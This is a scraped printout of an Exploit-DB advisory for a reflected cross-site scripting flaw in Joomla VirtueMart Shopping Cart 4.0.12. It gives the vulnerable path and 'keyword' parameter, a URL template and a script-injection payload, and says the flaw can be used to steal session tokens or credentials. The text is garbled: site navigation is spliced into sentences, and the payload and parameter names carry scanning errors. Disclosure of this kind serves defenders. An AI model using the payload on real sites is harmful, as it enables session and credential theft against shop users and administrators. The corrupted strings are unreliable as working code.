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Joomla VirtueMart Shopping Cart 4.0.12 -
Reflected XSS

EDB-ID:

51631

Author:

CRACKER

Platform:

PHP

CVE:

N/A

EDB Verified: X

Type:

WEBAPPS

Exploit: & _/ {}

Date:

2023-07-28

Vulnerable App:
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%’ EXPLOIT DATABASE

Exploit Title: Joomla VirtueMart Shopping-Cart 4.0.12 - Reflected XSS
Exploit Author: CraCkEr

Date: 24/07/2023

Vendor: VirtueMart Team

Vendor Homepage: https://www.virtuemart.net/

Software Link: https://demo.virtuemart.net/

Joomla Extension Link: https://extensions.joomla.org/extension/e-
commerce/shopping-cart/virtuemart/

PAPERS # Version: 4.0.12

# Tested on: Windows 10 Pro

# Impact: Manipulate the content of the site
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## Greetings

SEARCH EDB

The PitBull, RazOr, iNs, SadsouL, HisOk4, Hussin X, Mr. SQL , M0oizSid@9,
indoushka

CryptoJob (Twitter) twitter.com/0x0CryptoJob

SEARCHSPLOIT MANUAL

SUBMISSIONS

## Description
ONLINE TRAINING The attacker can send to victim a link containing a malicious URL in an
email or instant message

can perform a wide variety of actions, such as stealing the victim's
session token or login credentials

Path: /product-variants

GET parameter 'keyword' is vulnerable to RXSS

https://website/product-variants?keyword=
[XSS]&view=category&option=com virtuemart&virtuemart category id=11&Itemid=92

[XSS Payload]: uk9ni"><script>alert(1l)</script>a6di2

[-]1 Done

@
O

Databases ~

Links ~

Sites ~

Solutions ~

© OffSec Services Limited 2026. All rights reserved.

https://www.exploit-db.com/exploits/51631 3/4


https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www
https://www.exploit-db.com/exploits/51631
https://www.exploit-db.com/exploits/51630
https://www.exploit-db.com/exploits/51632
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

4/9/26, 9:43 PM Joomla VirtueMart Shopping Cart 4.0.12 - Reflected XSS - PHP webapps Exploit

&< EXPLOIT DATABASE ’ ﬁ @ N EXPLOIT DATABASE BY OFFSEC  TERMS ~ PRIVACY ~ ABOUTUS FAQ  COOKIES

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/51631 4/4


https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/
https://www.exploit-db.com/terms
https://www.exploit-db.com/privacy
https://www.exploit-db.com/about-exploit-db
https://www.exploit-db.com/faq
https://www.exploit-db.com/cookies
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

